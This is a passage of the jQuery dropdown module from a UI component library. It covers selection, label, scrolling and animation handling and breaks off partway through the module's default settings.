module.verbose('No longer at maximum selection count'); module.remove.message(); module.remove.filteredItem(); if(module.is.searchSelection()) { module.filterItems(); } return false; } } return true; } }, restore: { defaults: function() { module.clear(); module.restore.defaultText(); module.restore.defaultValue(); }, defaultText: function() { var defaultText = module.get.defaultText(), placeholderText = module.get.placeholderText ; if(defaultText === placeholderText) { module.debug('Restoring default placeholder text', defaultText); module.set.placeholderText(defaultText); } else { module.debug('Restoring default text', defaultText); module.set.text(defaultText); } }, placeholderText: function() { module.set.placeholderText(); }, defaultValue: function() { var defaultValue = module.get.defaultValue() ; if(defaultValue !== undefined) { module.debug('Restoring default value', defaultValue); if(defaultValue !== '') { module.set.value(defaultValue); module.set.selected(); } else { module.remove.activeItem(); module.remove.selectedItem(); } } }, labels: function() { if(settings.allowAdditions) { if(!settings.useLabels) { module.error(error.labels); settings.useLabels = true; } module.debug('Restoring selected values'); module.create.userLabels(); } module.check.maxSelections(); }, selected: function() { module.restore.values(); if(module.is.multiple()) { module.debug('Restoring previously selected values and labels'); module.restore.labels(); } else { module.debug('Restoring previously selected values'); } }, values: function() { // prevents callbacks from occurring on initial load module.set.initialLoad(); if(settings.apiSettings && settings.saveRemoteData && module.get.remoteValues()) { module.restore.remoteValues(); } else { module.set.selected(); } module.remove.initialLoad(); }, remoteValues: function() { var values = module.get.remoteValues() ; module.debug('Recreating selected from session data', values); if(values) { if( module.is.single() ) { $.each(values, function(value, name) { module.set.text(name); }); } else { $.each(values, function(value, name) { module.add.label(value, name); }); } } } }, read: { remoteData: function(value) { var name ; if(window.Storage === undefined) { module.error(error.noStorage); return; } name = sessionStorage.getItem(value); return (name !== undefined) ? name : false ; } }, save: { defaults: function() { module.save.defaultText(); module.save.placeholderText(); module.save.defaultValue(); }, defaultValue: function() { var value = module.get.value() ; module.verbose('Saving default value as', value); $module.data(metadata.defaultValue, value); }, defaultText: function() { var text = module.get.text() ; module.verbose('Saving default text as', text); $module.data(metadata.defaultText, text); }, placeholderText: function() { var text ; if(settings.placeholder !== false && $text.hasClass(className.placeholder)) { text = module.get.text(); module.verbose('Saving placeholder text as', text); $module.data(metadata.placeholderText, text); } }, remoteData: function(name, value) { if(window.Storage === undefined) { module.error(error.noStorage); return; } module.verbose('Saving remote data to session storage', value, name); sessionStorage.setItem(value, name); } }, clear: function() { if(module.is.multiple() && settings.useLabels) { module.remove.labels(); } else { module.remove.activeItem(); module.remove.selectedItem(); } module.set.placeholderText(); module.clearValue(); }, clearValue: function() { module.set.value(''); }, scrollPage: function(direction, $selectedItem) { var $currentItem = $selectedItem || module.get.selectedItem(), $menu = $currentItem.closest(selector.menu), menuHeight = $menu.outerHeight(), currentScroll = $menu.scrollTop(), itemHeight = $item.eq(0).outerHeight(), itemsPerPage = Math.floor(menuHeight / itemHeight), maxScroll = $menu.prop('scrollHeight'), newScroll = (direction == 'up') ? currentScroll - (itemHeight * itemsPerPage) : currentScroll + (itemHeight * itemsPerPage), $selectableItem = $item.not(selector.unselectable), isWithinRange, $nextSelectedItem, elementIndex ; elementIndex = (direction == 'up') ? $selectableItem.index($currentItem) - itemsPerPage : $selectableItem.index($currentItem) + itemsPerPage ; isWithinRange = (direction == 'up') ? (elementIndex >= 0) : (elementIndex < $selectableItem.length) ; $nextSelectedItem = (isWithinRange) ? $selectableItem.eq(elementIndex) : (direction == 'up') ? $selectableItem.first() : $selectableItem.last() ; if($nextSelectedItem.length > 0) { module.debug('Scrolling page', direction, $nextSelectedItem); $currentItem .removeClass(className.selected) ; $nextSelectedItem .addClass(className.selected) ; if(settings.selectOnKeydown && module.is.single()) { module.set.selectedItem($nextSelectedItem); } $menu .scrollTop(newScroll) ; } }, set: { filtered: function() { var isMultiple = module.is.multiple(), isSearch = module.is.searchSelection(), isSearchMultiple = (isMultiple && isSearch), searchValue = (isSearch) ? module.get.query() : '', hasSearchValue = (typeof searchValue === 'string' && searchValue.length > 0), searchWidth = module.get.searchWidth(), valueIsSet = searchValue !== '' ; if(isMultiple && hasSearchValue) { module.verbose('Adjusting input width', searchWidth, settings.glyphWidth); $search.css('width', searchWidth); } if(hasSearchValue || (isSearchMultiple && valueIsSet)) { module.verbose('Hiding placeholder text'); $text.addClass(className.filtered); } else if(!isMultiple || (isSearchMultiple && !valueIsSet)) { module.verbose('Showing placeholder text'); $text.removeClass(className.filtered); } }, empty: function() { $module.addClass(className.empty); }, loading: function() { $module.addClass(className.loading); }, placeholderText: function(text) { text = text || module.get.placeholderText(); module.debug('Setting placeholder text', text); module.set.text(text); $text.addClass(className.placeholder); }, tabbable: function() { if( module.has.search() ) { module.debug('Added tabindex to searchable dropdown'); $search .val('') .attr('tabindex', 0) ; $menu .attr('tabindex', -1) ; } else { module.debug('Added tabindex to dropdown'); if( $module.attr('tabindex') === undefined) { $module .attr('tabindex', 0) ; $menu .attr('tabindex', -1) ; } } }, initialLoad: function() { module.verbose('Setting initial load'); initialLoad = true; }, activeItem: function($item) { if( settings.allowAdditions && $item.filter(selector.addition).length > 0 ) { $item.addClass(className.filtered); } else { $item.addClass(className.active); } }, partialSearch: function(text) { var length = module.get.query().length ; $search.val( text.substr(0 , length)); }, scrollPosition: function($item, forceScroll) { var edgeTolerance = 5, $menu, hasActive, offset, itemHeight, itemOffset, menuOffset, menuScroll, menuHeight, abovePage, belowPage ; $item = $item || module.get.selectedItem(); $menu = $item.closest(selector.menu); hasActive = ($item && $item.length > 0); forceScroll = (forceScroll !== undefined) ? forceScroll : false ; if($item && $menu.length > 0 && hasActive) { itemOffset = $item.position().top; $menu.addClass(className.loading); menuScroll = $menu.scrollTop(); menuOffset = $menu.offset().top; itemOffset = $item.offset().top; offset = menuScroll - menuOffset + itemOffset; if(!forceScroll) { menuHeight = $menu.height(); belowPage = menuScroll + menuHeight < (offset + edgeTolerance); abovePage = ((offset - edgeTolerance) < menuScroll); } module.debug('Scrolling to active item', offset); if(forceScroll || abovePage || belowPage) { $menu.scrollTop(offset); } $menu.removeClass(className.loading); } }, text: function(text) { if(settings.action !== 'select') { if(settings.action == 'combo') { module.debug('Changing combo button text', text, $combo); if(settings.preserveHTML) { $combo.html(text); } else { $combo.text(text); } } else { if(text !== module.get.placeholderText()) { $text.removeClass(className.placeholder); } module.debug('Changing text', text, $text); $text .removeClass(className.filtered) ; if(settings.preserveHTML) { $text.html(text); } else { $text.text(text); } } } }, selectedItem: function($item) { var value = module.get.choiceValue($item), text = module.get.choiceText($item, false) ; module.debug('Setting user selection to item', $item); module.remove.activeItem(); module.set.partialSearch(text); module.set.activeItem($item); module.set.selected(value, $item); module.set.text(text); }, selectedLetter: function(letter) { var $selectedItem = $item.filter('.' + className.selected), alreadySelectedLetter = $selectedItem.length > 0 && module.has.firstLetter($selectedItem, letter), $nextValue = false, $nextItem ; // check next of same letter if(alreadySelectedLetter) { $nextItem = $selectedItem.nextAll($item).eq(0); if( module.has.firstLetter($nextItem, letter) ) { $nextValue = $nextItem; } } // check all values if(!$nextValue) { $item .each(function(){ if(module.has.firstLetter($(this), letter)) { $nextValue = $(this); return false; } }) ; } // set next value if($nextValue) { module.verbose('Scrolling to next value with letter', letter); module.set.scrollPosition($nextValue); $selectedItem.removeClass(className.selected); $nextValue.addClass(className.selected); if(settings.selectOnKeydown && module.is.single()) { module.set.selectedItem($nextValue); } } }, direction: function($menu) { if(settings.direction == 'auto') { if(module.is.onScreen($menu)) { module.remove.upward($menu); } else { module.set.upward($menu); } } else if(settings.direction == 'upward') { module.set.upward($menu); } }, upward: function($menu) { var $element = $menu || $module; $element.addClass(className.upward); }, value: function(value, text, $selected) { var escapedValue = module.escape.value(value), hasInput = ($input.length > 0), isAddition = !module.has.value(value), currentValue = module.get.values(), stringValue = (value !== undefined) ? String(value) : value, newValue ; if(hasInput) { if(!settings.allowReselection && stringValue == currentValue) { module.verbose('Skipping value update already same value', value, currentValue); if(!module.is.initialLoad()) { return; } } if( module.is.single() && module.has.selectInput() && module.can.extendSelect() ) { module.debug('Adding user option', value); module.add.optionValue(value); } module.debug('Updating input value', escapedValue, currentValue); internalChange = true; $input .val(escapedValue) ; if(settings.fireOnInit === false && module.is.initialLoad()) { module.debug('Input native change event ignored on initial load'); } else { module.trigger.change(); } internalChange = false; } else { module.verbose('Storing value in metadata', escapedValue, $input); if(escapedValue !== currentValue) { $module.data(metadata.value, stringValue); } } if(settings.fireOnInit === false && module.is.initialLoad()) { module.verbose('No callback on initial load', settings.onChange); } else { settings.onChange.call(element, value, text, $selected); } }, active: function() { $module .addClass(className.active) ; }, multiple: function() { $module.addClass(className.multiple); }, visible: function() { $module.addClass(className.visible); }, exactly: function(value, $selectedItem) { module.debug('Setting selected to exact values'); module.clear(); module.set.selected(value, $selectedItem); }, selected: function(value, $selectedItem) { var isMultiple = module.is.multiple(), $userSelectedItem ; $selectedItem = (settings.allowAdditions) ? $selectedItem || module.get.itemWithAdditions(value) : $selectedItem || module.get.item(value) ; if(!$selectedItem) { return; } module.debug('Setting selected menu item to', $selectedItem); if(module.is.multiple()) { module.remove.searchWidth(); } if(module.is.single()) { module.remove.activeItem(); module.remove.selectedItem(); } else if(settings.useLabels) { module.remove.selectedItem(); } // select each item $selectedItem .each(function() { var $selected = $(this), selectedText = module.get.choiceText($selected), selectedValue = module.get.choiceValue($selected, selectedText), isFiltered = $selected.hasClass(className.filtered), isActive = $selected.hasClass(className.active), isUserValue = $selected.hasClass(className.addition), shouldAnimate = (isMultiple && $selectedItem.length == 1) ; if(isMultiple) { if(!isActive || isUserValue) { if(settings.apiSettings && settings.saveRemoteData) { module.save.remoteData(selectedText, selectedValue); } if(settings.useLabels) { module.add.value(selectedValue, selectedText, $selected); module.add.label(selectedValue, selectedText, shouldAnimate); module.set.activeItem($selected); module.filterActive(); module.select.nextAvailable($selectedItem); } else { module.add.value(selectedValue, selectedText, $selected); module.set.text(module.add.variables(message.count)); module.set.activeItem($selected); } } else if(!isFiltered) { module.debug('Selected active value, removing label'); module.remove.selected(selectedValue); } } else { if(settings.apiSettings && settings.saveRemoteData) { module.save.remoteData(selectedText, selectedValue); } module.set.text(selectedText); module.set.value(selectedValue, selectedText, $selected); $selected .addClass(className.active) .addClass(className.selected) ; } }) ; } }, add: { label: function(value, text, shouldAnimate) { var $next = module.is.searchSelection() ? $search : $text, escapedValue = module.escape.value(value), $label ; $label = $('<a />') .addClass(className.label) .attr('data-value', escapedValue) .html(templates.label(escapedValue, text)) ; $label = settings.onLabelCreate.call($label, escapedValue, text); if(module.has.label(value)) { module.debug('Label already exists, skipping', escapedValue); return; } if(settings.label.variation) { $label.addClass(settings.label.variation); } if(shouldAnimate === true) { module.debug('Animating in label', $label); $label .addClass(className.hidden) .insertBefore($next) .transition(settings.label.transition, settings.label.duration) ; } else { module.debug('Adding selection label', $label); $label .insertBefore($next) ; } }, message: function(message) { var $message = $menu.children(selector.message), html = settings.templates.message(module.add.variables(message)) ; if($message.length > 0) { $message .html(html) ; } else { $message = $('<div/>') .html(html) .addClass(className.message) .appendTo($menu) ; } }, optionValue: function(value) { var escapedValue = module.escape.value(value), $option = $input.find('option[value="' + escapedValue + '"]'), hasOption = ($option.length > 0) ; if(hasOption) { return; } // temporarily disconnect observer module.disconnect.selectObserver(); if( module.is.single() ) { module.verbose('Removing previous user addition'); $input.find('option.' + className.addition).remove(); } $('<option/>') .prop('value', escapedValue) .addClass(className.addition) .html(value) .appendTo($input) ; module.verbose('Adding user addition as an <option>', value); module.observe.select(); }, userSuggestion: function(value) { var $addition = $menu.children(selector.addition), $existingItem = module.get.item(value), alreadyHasValue = $existingItem && $existingItem.not(selector.addition).length, hasUserSuggestion = $addition.length > 0, html ; if(settings.useLabels && module.has.maxSelections()) { return; } if(value === '' || alreadyHasValue) { $addition.remove(); return; } if(hasUserSuggestion) { $addition .data(metadata.value, value) .data(metadata.text, value) .attr('data-' + metadata.value, value) .attr('data-' + metadata.text, value) .removeClass(className.filtered) ; if(!settings.hideAdditions) { html = settings.templates.addition( module.add.variables(message.addResult, value) ); $addition .html(html) ; } module.verbose('Replacing user suggestion with new value', $addition); } else { $addition = module.create.userChoice(value); $addition .prependTo($menu) ; module.verbose('Adding item choice to menu corresponding with user choice addition', $addition); } if(!settings.hideAdditions || module.is.allFiltered()) { $addition .addClass(className.selected) .siblings() .removeClass(className.selected) ; } module.refreshItems(); }, variables: function(message, term) { var hasCount = (message.search('{count}') !== -1), hasMaxCount = (message.search('{maxCount}') !== -1), hasTerm = (message.search('{term}') !== -1), values, count, query ; module.verbose('Adding templated variables to message', message); if(hasCount) { count = module.get.selectionCount(); message = message.replace('{count}', count); } if(hasMaxCount) { count = module.get.selectionCount(); message = message.replace('{maxCount}', settings.maxSelections); } if(hasTerm) { query = term || module.get.query(); message = message.replace('{term}', query); } return message; }, value: function(addedValue, addedText, $selectedItem) { var currentValue = module.get.values(), newValue ; if(addedValue === '') { module.debug('Cannot select blank values from multiselect'); return; } // extend current array if($.isArray(currentValue)) { newValue = currentValue.concat([addedValue]); newValue = module.get.uniqueArray(newValue); } else { newValue = [addedValue]; } // add values if( module.has.selectInput() ) { if(module.can.extendSelect()) { module.debug('Adding value to select', addedValue, newValue, $input); module.add.optionValue(addedValue); } } else { newValue = newValue.join(settings.delimiter); module.debug('Setting hidden input to delimited value', newValue, $input); } if(settings.fireOnInit === false && module.is.initialLoad()) { module.verbose('Skipping onadd callback on initial load', settings.onAdd); } else { settings.onAdd.call(element, addedValue, addedText, $selectedItem); } module.set.value(newValue, addedValue, addedText, $selectedItem); module.check.maxSelections(); } }, remove: { active: function() { $module.removeClass(className.active); }, activeLabel: function() { $module.find(selector.label).removeClass(className.active); }, empty: function() { $module.removeClass(className.empty); }, loading: function() { $module.removeClass(className.loading); }, initialLoad: function() { initialLoad = false; }, upward: function($menu) { var $element = $menu || $module; $element.removeClass(className.upward); }, visible: function() { $module.removeClass(className.visible); }, activeItem: function() { $item.removeClass(className.active); }, filteredItem: function() { if(settings.useLabels && module.has.maxSelections() ) { return; } if(settings.useLabels && module.is.multiple()) { $item.not('.' + className.active).removeClass(className.filtered); } else { $item.removeClass(className.filtered); } module.remove.empty(); }, optionValue: function(value) { var escapedValue = module.escape.value(value), $option = $input.find('option[value="' + escapedValue + '"]'), hasOption = ($option.length > 0) ; if(!hasOption || !$option.hasClass(className.addition)) { return; } // temporarily disconnect observer if(selectObserver) { selectObserver.disconnect(); module.verbose('Temporarily disconnecting mutation observer'); } $option.remove(); module.verbose('Removing user addition as an <option>', escapedValue); if(selectObserver) { selectObserver.observe($input[0], { childList : true, subtree : true }); } }, message: function() { $menu.children(selector.message).remove(); }, searchWidth: function() { $search.css('width', ''); }, searchTerm: function() { module.verbose('Cleared search term'); $search.val(''); module.set.filtered(); }, userAddition: function() { $item.filter(selector.addition).remove(); }, selected: function(value, $selectedItem) { $selectedItem = (settings.allowAdditions) ? $selectedItem || module.get.itemWithAdditions(value) : $selectedItem || module.get.item(value) ; if(!$selectedItem) { return false; } $selectedItem .each(function() { var $selected = $(this), selectedText = module.get.choiceText($selected), selectedValue = module.get.choiceValue($selected, selectedText) ; if(module.is.multiple()) { if(settings.useLabels) { module.remove.value(selectedValue, selectedText, $selected); module.remove.label(selectedValue); } else { module.remove.value(selectedValue, selectedText, $selected); if(module.get.selectionCount() === 0) { module.set.placeholderText(); } else { module.set.text(module.add.variables(message.count)); } } } else { module.remove.value(selectedValue, selectedText, $selected); } $selected .removeClass(className.filtered) .removeClass(className.active) ; if(settings.useLabels) { $selected.removeClass(className.selected); } }) ; }, selectedItem: function() { $item.removeClass(className.selected); }, value: function(removedValue, removedText, $removedItem) { var values = module.get.values(), newValue ; if( module.has.selectInput() ) { module.verbose('Input is <select> removing selected option', removedValue); newValue = module.remove.arrayValue(removedValue, values); module.remove.optionValue(removedValue); } else { module.verbose('Removing from delimited values', removedValue); newValue = module.remove.arrayValue(removedValue, values); newValue = newValue.join(settings.delimiter); } if(settings.fireOnInit === false && module.is.initialLoad()) { module.verbose('No callback on initial load', settings.onRemove); } else { settings.onRemove.call(element, removedValue, removedText, $removedItem); } module.set.value(newValue, removedText, $removedItem); module.check.maxSelections(); }, arrayValue: function(removedValue, values) { if( !$.isArray(values) ) { values = [values]; } values = $.grep(values, function(value){ return (removedValue != value); }); module.verbose('Removed value from delimited string', removedValue, values); return values; }, label: function(value, shouldAnimate) { var $labels = $module.find(selector.label), $removedLabel = $labels.filter('[data-value="' + value +'"]') ; module.verbose('Removing label', $removedLabel); $removedLabel.remove(); }, activeLabels: function($activeLabels) { $activeLabels = $activeLabels || $module.find(selector.label).filter('.' + className.active); module.verbose('Removing active label selections', $activeLabels); module.remove.labels($activeLabels); }, labels: function($labels) { $labels = $labels || $module.find(selector.label); module.verbose('Removing labels', $labels); $labels .each(function(){ var $label = $(this), value = $label.data(metadata.value), stringValue = (value !== undefined) ? String(value) : value, isUserValue = module.is.userValue(stringValue) ; if(settings.onLabelRemove.call($label, value) === false) { module.debug('Label remove callback cancelled removal'); return; } module.remove.message(); if(isUserValue) { module.remove.value(stringValue); module.remove.label(stringValue); } else { // selected will also remove label module.remove.selected(stringValue); } }) ; }, tabbable: function() { if( module.has.search() ) { module.debug('Searchable dropdown initialized'); $search .removeAttr('tabindex') ; $menu .removeAttr('tabindex') ; } else { module.debug('Simple selection dropdown initialized'); $module .removeAttr('tabindex') ; $menu .removeAttr('tabindex') ; } } }, has: { menuSearch: function() { return (module.has.search() && $search.closest($menu).length > 0); }, search: function() { return ($search.length > 0); }, sizer: function() { return ($sizer.length > 0); }, selectInput: function() { return ( $input.is('select') ); }, minCharacters: function(searchTerm) { if(settings.minCharacters) { searchTerm = (searchTerm !== undefined) ? String(searchTerm) : String(module.get.query()) ; return (searchTerm.length >= settings.minCharacters); } return true; }, firstLetter: function($item, letter) { var text, firstLetter ; if(!$item || $item.length === 0 || typeof letter !== 'string') { return false; } text = module.get.choiceText($item, false); letter = letter.toLowerCase(); firstLetter = String(text).charAt(0).toLowerCase(); return (letter == firstLetter); }, input: function() { return ($input.length > 0); }, items: function() { return ($item.length > 0); }, menu: function() { return ($menu.length > 0); }, message: function() { return ($menu.children(selector.message).length !== 0); }, label: function(value) { var escapedValue = module.escape.value(value), $labels = $module.find(selector.label) ; return ($labels.filter('[data-value="' + escapedValue +'"]').length > 0); }, maxSelections: function() { return (settings.maxSelections && module.get.selectionCount() >= settings.maxSelections); }, allResultsFiltered: function() { var $normalResults = $item.not(selector.addition) ; return ($normalResults.filter(selector.unselectable).length === $normalResults.length); }, userSuggestion: function() { return ($menu.children(selector.addition).length > 0); }, query: function() { return (module.get.query() !== ''); }, value: function(value) { var values = module.get.values(), hasValue = $.isArray(values) ? values && ($.inArray(value, values) !== -1) : (values == value) ; return (hasValue) ? true : false ; } }, is: { active: function() { return $module.hasClass(className.active); }, bubbledLabelClick: function(event) { return $(event.target).is('select, input') && $module.closest('label').length > 0; }, bubbledIconClick: function(event) { return $(event.target).closest($icon).length > 0; }, alreadySetup: function() { return ($module.is('select') && $module.parent(selector.dropdown).length > 0 && $module.prev().length === 0); }, animating: function($subMenu) { return ($subMenu) ? $subMenu.transition && $subMenu.transition('is animating') : $menu.transition && $menu.transition('is animating') ; }, disabled: function() { return $module.hasClass(className.disabled); }, focused: function() { return (document.activeElement === $module[0]); }, focusedOnSearch: function() { return (document.activeElement === $search[0]); }, allFiltered: function() { return( (module.is.multiple() || module.has.search()) && !(settings.hideAdditions == false && module.has.userSuggestion()) && !module.has.message() && module.has.allResultsFiltered() ); }, hidden: function($subMenu) { return !module.is.visible($subMenu); }, initialLoad: function() { return initialLoad; }, onScreen: function($subMenu) { var $currentMenu = $subMenu || $menu, canOpenDownward = true, onScreen = {}, calculations ; $currentMenu.addClass(className.loading); calculations = { context: { scrollTop : $context.scrollTop(), height : $context.outerHeight() }, menu : { offset: $currentMenu.offset(), height: $currentMenu.outerHeight() } }; onScreen = { above : (calculations.context.scrollTop) <= calculations.menu.offset.top - calculations.menu.height, below : (calculations.context.scrollTop + calculations.context.height) >= calculations.menu.offset.top + calculations.menu.height }; if(onScreen.below) { module.verbose('Dropdown can fit in context downward', onScreen); canOpenDownward = true; } else if(!onScreen.below && !onScreen.above) { module.verbose('Dropdown cannot fit in either direction, favoring downward', onScreen); canOpenDownward = true; } else { module.verbose('Dropdown cannot fit below, opening upward', onScreen); canOpenDownward = false; } $currentMenu.removeClass(className.loading); return canOpenDownward; }, inObject: function(needle, object) { var found = false ; $.each(object, function(index, property) { if(property == needle) { found = true; return true; } }); return found; }, multiple: function() { return $module.hasClass(className.multiple); }, single: function() { return !module.is.multiple(); }, selectMutation: function(mutations) { var selectChanged = false ; $.each(mutations, function(index, mutation) { if(mutation.target && $(mutation.target).is('select')) { selectChanged = true; return true; } }); return selectChanged; }, search: function() { return $module.hasClass(className.search); }, searchSelection: function() { return ( module.has.search() && $search.parent(selector.dropdown).length === 1 ); }, selection: function() { return $module.hasClass(className.selection); }, userValue: function(value) { return ($.inArray(value, module.get.userValues()) !== -1); }, upward: function($menu) { var $element = $menu || $module; return $element.hasClass(className.upward); }, visible: function($subMenu) { return ($subMenu) ? $subMenu.hasClass(className.visible) : $menu.hasClass(className.visible) ; } }, can: { activate: function($item) { if(settings.useLabels) { return true; } if(!module.has.maxSelections()) { return true; } if(module.has.maxSelections() && $item.hasClass(className.active)) { return true; } return false; }, click: function() { return (hasTouch || settings.on == 'click'); }, extendSelect: function() { return settings.allowAdditions || settings.apiSettings; }, show: function() { return !module.is.disabled() && (module.has.items() || module.has.message()); }, useAPI: function() { return $.fn.api !== undefined; } }, animate: { show: function(callback, $subMenu) { var $currentMenu = $subMenu || $menu, start = ($subMenu) ? function() {} : function() { module.hideSubMenus(); module.hideOthers(); module.set.active(); }, transition ; callback = $.isFunction(callback) ? callback : function(){} ; module.verbose('Doing menu show animation', $currentMenu); module.set.direction($subMenu); transition = module.get.transition($subMenu); if( module.is.selection() ) { module.set.scrollPosition(module.get.selectedItem(), true); } if( module.is.hidden($currentMenu) || module.is.animating($currentMenu) ) { if(transition == 'none') { start(); $currentMenu.transition('show'); callback.call(element); } else if($.fn.transition !== undefined && $module.transition('is supported')) { $currentMenu .transition({ animation : transition + ' in', debug : settings.debug, verbose : settings.verbose, duration : settings.duration, queue : true, onStart : start, onComplete : function() { callback.call(element); } }) ; } else { module.error(error.noTransition, transition); } } }, hide: function(callback, $subMenu) { var $currentMenu = $subMenu || $menu, duration = ($subMenu) ? (settings.duration * 0.9) : settings.duration, start = ($subMenu) ? function() {} : function() { if( module.can.click() ) { module.unbind.intent(); } module.remove.active(); }, transition = module.get.transition($subMenu) ; callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.visible($currentMenu) || module.is.animating($currentMenu) ) { module.verbose('Doing menu hide animation', $currentMenu); if(transition == 'none') { start(); $currentMenu.transition('hide'); callback.call(element); } else if($.fn.transition !== undefined && $module.transition('is supported')) { $currentMenu .transition({ animation : transition + ' out', duration : settings.duration, debug : settings.debug, verbose : settings.verbose, queue : true, onStart : start, onComplete : function() { if(settings.direction == 'auto') { module.remove.upward($subMenu); } callback.call(element); } }) ; } else { module.error(error.transition); } } } }, hideAndClear: function() { module.remove.searchTerm(); if( module.has.maxSelections() ) { return; } if(module.has.search()) { module.hide(function() { module.remove.filteredItem(); }); } else { module.hide(); } }, delay: { show: function() { module.verbose('Delaying show event to ensure user intent'); clearTimeout(module.timer); module.timer = setTimeout(module.show, settings.delay.show); }, hide: function() { module.verbose('Delaying hide event to ensure user intent'); clearTimeout(module.timer); module.timer = setTimeout(module.hide, settings.delay.hide); } }, escape: { value: function(value) { var multipleValues = $.isArray(value), stringValue = (typeof value === 'string'), isUnparsable = (!stringValue && !multipleValues), hasQuotes = (stringValue && value.search(regExp.quote) !== -1), values = [] ; if(!module.has.selectInput() || isUnparsable || !hasQuotes) { return value; } module.debug('Encoding quote values for use in select', value); if(multipleValues) { $.each(value, function(index, value){ values.push(value.replace(regExp.quote, '&quot;')); }); return values; } return value.replace(regExp.quote, '&quot;'); }, regExp: function(text) { text = String(text); return text.replace(regExp.escape, '\\$&'); } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : $allModules ; }; $.fn.dropdown.settings = { silent : false, debug : false, verbose : false, performance : true, on : 'click', // what event should show menu action on item selection action : 'activate', // action on item selection (nothing, activate, select, combo, hide, function(){}) apiSettings : false, selectOnKeydown : true, // Whether selection should occur automatically when keyboard shortcuts used minCharacters : 0, // Minimum characters required to trigger API call saveRemoteData : true, // Whether remote name/value pairs should be stored in sessionStorage to allow remote data to be restored on page refresh throttle : 200, // How long to wait after last user input to search remotely context : window, // Context to use when determining if on screen direction : 'auto', // Whether dropdown should always open in one direction keepOnScreen : true, // Whether dropdown should check whether it is on screen before showing match : 'both', // what to match against with search selection (both, text, or label) fullTextSearch : false, // search anywhere in value (set to 'exact' to require exact matches) placeholder : 'auto', // whether to convert blank <select> values to placeholder text preserveHTML : true, // preserve html when selecting value sortSelect : false, // sort selection on init forceSelection : true, // force a choice on blur with search selection allowAdditions : false, // whether multiple select should allow user added values hideAdditions : true, // whether or not to hide special message prompting a user they can enter a value maxSelections : false, // When set to a number limits the number of selections to this count useLabels : true, // whether multiple select should filter currently active selections from choices delimiter : ',', // when multiselect uses normal <input> the values will be delimited with this character showOnFocus : true, // show menu on focus allowReselection : false, // whether current value should trigger callbacks when reselected allowTab : true, // add tabindex to element allowCategorySelection : false, // allow elements with sub-menus to be selected fireOnInit : false, // Whether callbacks should fire when initializing dropdown values transition : 'auto', // auto transition will slide down or up based on direction duration : 200, // duration of transition glyphWidth : 1.037, // widest glyph width in em (W is 1.037 em) used to calculate multiselect input width // label settings on multi-select label: { transition : 'scale', duration : 200, variation : false }, // delay before event delay : { hide : 300, show : 200, search : 20, touch : 50 }, /* Callbacks */ onChange : function(value, text, $selected){}, onAdd : function(value, text, $selected){}, onRemove : function(value, text, $selected){}, onLabelSelect : function($selectedLabels){}, onLabelCreate : function(value, text) { return $(this); }, onLabelRemove : function(value) { return true; }, onNoResults : function(searchTerm) { return true; }, onShow : function(){}, onHide : function(){}, /* Component */ name : 'Dropdown', namespace : 'dropdown', message: { addResult : 'Add <b>{term}</b>', count : '{count} selected', maxSelections : 'Max {maxCount} selections', noResults : 'No results found.', serverError : 'There was an error contacting the server' }, error : { action : 'You called a dropdown action that was not defined', alreadySetup : 'Once a select has been initialized behaviors must be called on the created ui dropdown', labels : 'Allowing user additions currently requires the use of labels.', missingMultiple : '<select> requires multiple property to be set to correctly preserve multiple values', method : 'The method you called is not defined.', noAPI : 'The API module is required to load resources remotely', noStorage : 'Saving remote data requires session storage', noTransition : 'This module requires ui transitions <path_to_url }, regExp : { escape : /[-[\]{}()*+?.,\\^$|#\s]/g, quote : /"/g }, metadata : { defaultText : 'defaultText', defaultValue : 'defaultValue', placeholderText : 'placeholder', text : 'text', value : 'value' }, // property names for remote query fields: { remoteValues : 